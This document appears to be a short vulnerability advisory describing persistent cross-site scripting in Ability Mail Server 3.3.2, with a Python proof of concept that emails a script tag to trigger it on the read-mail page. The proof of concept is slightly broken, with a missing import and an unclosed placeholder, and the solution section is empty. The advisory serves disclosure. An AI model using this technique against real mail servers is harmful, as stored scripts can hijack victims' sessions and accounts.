1. Description
Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.
2. Proof of Concept
#!/usr/bin/env python
email_addr = '[email protected]'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)
s.quit()
3. Solution:
